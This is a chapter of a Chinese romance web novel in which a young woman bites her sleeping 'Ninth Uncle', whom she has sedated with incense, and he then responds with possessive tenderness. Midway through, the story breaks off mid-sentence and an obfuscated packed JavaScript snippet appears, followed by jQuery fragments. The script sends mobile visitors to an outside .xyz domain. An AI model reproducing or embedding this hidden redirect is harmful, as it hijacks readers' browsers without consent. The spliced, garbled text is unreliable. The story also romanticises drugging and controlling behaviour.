第25章

作品:《枕上姝

    疾风陡起,刮得外头枝叶簌簌,然在此刻心跳如擂鼓的情况下,沈岁岁是注意不到的。这一口咬下去,她想她咬得是十分用力的,会留下鲜明的牙印,在严重些,甚至会冒出鲜红的血珠。想来痛感难耐,然沉息香的药效发作,萧韫庭绝不会醒来。


    沈岁岁咬着没放,然明明是她在咬萧韫庭,齿关触上的那瞬,自己竟却情不自禁的一瑟缩,带出一片尾椎骨发麻。慢慢的,在静默的黑暗中,从舌尖弥漫开来的温热顺着呼吸一般涌如肺腑。


    他的手,于血雨腥风中握过刀杀过人,又于诡谲暗涌中将权力和地位绘得最大。不仅如此,亦有着凶猛狂悍力道手劲,能捏死一只蝼蚁似的轻而易举将她抱起,将她箍在怀里动弹不得……偏偏这样恐怖的存在,而如今,而如今却是任她“欺凌”的咬在嘴里。


    咬出痕迹,又或是咬出鲜血。


    沈岁岁忽然被这说不清道不明的情愫烘得脸颊绯红,睫毛似也被熏湿了一片。骤然回过神来,粉嫩唇瓣张开,放过了咬紧的手腕。纱灯依旧流转,可原本死气沉沉的画面在此时竟变得明媚起来。


    萧韫庭的手修长如玉,又似泛着润一般的冷白色泽,该是精雕细琢的古玩似的,可俨然一道鲜明的牙痕,触目惊心。


    除却这,甚至还有氲蓄着的晶透银意,在灯火照耀下更是熠熠夺目。


    这是……


    沈岁岁缓缓抬手摸了摸自己的唇瓣。这是自己的,……口涎。本就粉绯的脸颊缓缓浮上更为艳丽的春色,她的呼吸更乱。


    她真的咬了他,还咬得这样狠。


    可事已至此,她心底并未生出后悔,反倒是因方才的紧密接触而愈发焦躁的渴。


    她从前只知道渴求他的味道,与他拥抱的紧紧相依,可如今才发现,唇齿间的纠/缠才更能填补她空缺的心脏。无论是暧昧绵绵的亲吻,又或是……


    “九叔。”


    沈岁岁有些浸了春水似的洇洇美眸带了些迷茫和病态的依恋。她怔怔望着萧韫庭的手,这样的认知冲击得她全身酸软无力。似在最后的挣扎,可愈是如此,便愈是饥焰中烧。


    沈岁岁心一颤,脑海中似有什么缓缓断掉。


    不是她的错,是因为萧韫庭。若不是他狠狠惩戒自己抄书,自己的手便不会酸得没有力气,更不会气急委屈至咬他的地步。


    “九叔,这不能怪我的,对不对?”


    娇滴滴的嗓音柔腻融酥,沈岁岁怔着喘了几口气,探出一双白皙发颤的手,捧起了萧韫庭的大掌。


    似如白日里的梦境一般,捧着贴在自己的脸颊。


    大掌宽厚温热,轻而易举将她脸笼罩于其中。而手上薄茧稍刺着软嫩的雪肤,有些痒,可生命深处的焦渴似如被初雪春水般淌过一般。她情不自禁蹭了又蹭,似初生的小幼兽般寻求慰藉。


    "九叔……"


    睡梦中的男人。


    不,应该是被沉息香晕睡的男人,在这时,是这样的和煦柔和。这一切都和白日的狠戾威严的他大相径庭,偏偏这样不真实的他,让她好迷恋。


    若是他能一直这样下去……


    沈岁岁心尖莫名一酥,有些东西便是不能想,思及这,她又想起白日里他的残忍,他的凉薄……


    “九叔,你为什么要罚我?我的手好疼好疼……”声线孱颤瑟瑟,她愈说愈委屈,望向阖着双眸的萧韫庭。晦涩的环境再加之自己正发病的怪症,视线其实并不清明。雾气笼罩似一层薄纱,她索性也满满闭上眼睛,脸颊枕在萧韫庭的手上。细风片开牖窗,透过层层纱帘帐幔,其上勾勒金丝银线如流云幻海般洋洋洒洒。沈岁岁正是半昏半醒之际,梦里的萧韫庭又出现了。


    “岁岁很疼?”


    鼻息温热,素来沉洌的声线让她听出了诡异的柔和,是萧韫庭的声音。沈岁岁眼睛斜过去,模糊中看见一道揉了温意的深眸。平白无故,叫她望着萧韫庭愈发觉得潺潺春风似的温润。“九叔……”她犹豫了一瞬,抿着粉唇没再说下去。"岁岁要说实话。岁岁很疼吗?"


    男人的声音掷地有声,又循循善诱着她坠入其编织的牢笼深渊。到底是年纪小,不设丝毫城府,她轻而易举便掉进了这样的画骨柔中。


    "九叔,好疼….…手好疼好疼….…"


    她下意识想直起身,动作不及萧韫庭快,微一用力,就将她提抱了起来,他倚靠在榻上,而她跨坐在他怀里。这样的姿势给足她满满当当的沉稳和安心,玲珑软嫩的身躯似菟丝花一般攀附缠绕着她的大树。"九叔,你为什么罚我这样狠?"她又问了出来,氤氲水汽的美目仰望着他。愈说愈委屈,本就泛红的鼻尖更是通红无比。


    “我的右手都快废掉了..…”


    举在萧韫庭眼前的右手白嫩若纤纤细花,却不合时宜的一直发抖。


    沈岁岁瞧着更是有些苦涩,蠕动着粉唇还想埋怨什么,可手儿被萧韫庭握在了掌心里。硬朗的指节与自己的形成鲜明的对比,轻轻揉着,缓缓按着穴位。


    周而复始,却是什么都没说。


    见梦里的萧韫庭久久抿着唇,沈岁岁一下子没忍住蓄出了晶莹的泪,挂在蝶翼上要落不落,更是梨花带雨似的娇弱堪怜。


    “疼了才会长记性。”


    萧韫庭一直注意着小姑娘的情愫,见人儿眼神饱含委屈含泪,无奈在心底吐了口气,他道:“如此,岁岁下次才会乖些。”


    声线不紧不慢透着莫测。


    沈岁岁听罢,晶莹的泪顺着脸颊淌落下去,“最不乖的是九叔。我明明已经抄过了,你却还要我再抄一遍……”


    萧韫庭长睫微眨,似没想到人儿会这样说。最不乖的是他?


    这说法,倒是有些稀奇。


    “岁岁这样委屈?”


    深眸端详着怀中酡红染泪的小脸,在其之上,看不出来任何反省过的东西。他眉骨微压,看来,折腾这么久,小姑娘什么都还未明白。倒是他一个人的独角戏了。


    “岁岁喜欢萧执?”


    在梦里,萧韫庭的嗓音从未有过此刻这般的冷肃,似紧绷压抑着什么怒火,若自己回答错了,便会化作凶残的恶兽,狠狠的将自己咬死。沈岁岁纵使混沌,也恍觉有些莫名的冷意。


    冷意浸得她目光出现了重影,她快分不清到底是梦境还是现


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14855849|121222||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    实了。“岁岁,乖,告诉九叔,”萧韫庭知道巧设连环,牵动薄唇噙着笑问她。"岁岁可是心悦大哥哥?"


    纵使面目掩饰极好,到底压不住声音里溢出的阴鸷森寒。若是从小姑娘嘴里吐出了“喜欢”两个字….…


    威逼利诱似的情态将少女整整包围,沈岁岁还有些怔懵自己到底是在梦里还是现实。"嗯?"


    尾音低哑蛊人,沈岁岁眨了眨眼,又缓缓摇了摇头。


    “乖孩子。”


    见此,萧韫庭总算满意的笑了,凝睇怀中人儿娇媚容颜,温声道:“下次见了萧执,切勿将人往屋里引,可知否?”


    想起护送小姑娘回去的侍从回来禀报的那一草一动,萧韫庭太阳穴一跳,深深呼了口气。见了自己巴不得离百丈远,遇上萧执却是将人往屋子里带,当真不是厌恶自己?罢了,人到底年纪尚幼,对萧执无情意便好,这些日后再慢慢教她。


    “好了,”


    萧韫庭收起眉目间的冷意,扣着少女袅袅婷婷的软腰往身前抱得更近,“这次是九叔将岁岁罚狠了,岁岁日后听话,九叔再也不罚你了。”“就算错了,九、九叔也不能罚我….…”


    沈岁岁吸着鼻子,带着哭腔的嗓音有些抽抽嗒嗒,“不能罚我。”有些讨价还价,倒是第一次有人敢在他面前如此。然萧韫庭并不生气,反倒是有些兴味。小姑娘此刻这副受尽天下委屈似的怜怜模样叫他有些爱不释手。


    玉骨莹润,小小一团尽数盈在自己怀里,仿天生就该这般,契合在一起。


    “好。”


    萧韫庭气音不觉晕了缱绻的宠溺,是他从未有过的画骨柔情。


    他低声笑,听着小姑娘愈发“口无遮拦”的斥责。“岁岁没有错,都是因为九叔才会如此的。”"九叔为什么这么狠心?定是为了将我的手彻底废掉。"


    ……


    梨花带雨,他愈看愈爱,又愈想将人揉进骨子里去。


    尤是此刻张阖的红唇,里头怯生生的小软舌牵动人心。这一切似都在引诱他深入其中。


    “岁岁。”


    薄唇微勾,无意识捻出这两个字。偏偏这个时候,腕间竟又传来一股刺痛。——怀中的娇娃娃又咬了他。


    沈岁岁静默良久,只吸着鼻子,倔强着不想让眼泪掉下来。


    她方才带着满腔忿火控诉那般久,可人似乎压根就没有听进去,甚至还眯着瞳眸,似诱捕猎物似的囚着她。这样黏腻滚烫的眼神,让她下意识又想哭了,可她不想在萧韫庭面前可怜的哭鼻子,便是梦中也不行。是以,洇洇水眸一流转,又咬在了萧韫庭为自己按摩的手腕上。


    到底是她的梦里,她想做什么便做什么的。


    她这次亦用了些力道,可却没听到萧韫庭喊疼,气息稳重如旧,毫无反应,一丁点儿的倒吸冷气声也无。咬了一会儿,没得到预期的求饶或是喊疼,她也便觉得没了意思,抬起眼来,撞进一双燃着簌簌幽火的深眸里。是她看不懂的情愫。


    "九叔,就算你这样看我,真正犯错的也是你的……唔。"话还没说完,她竟又被吻住了。


    "乖孩子,听话。"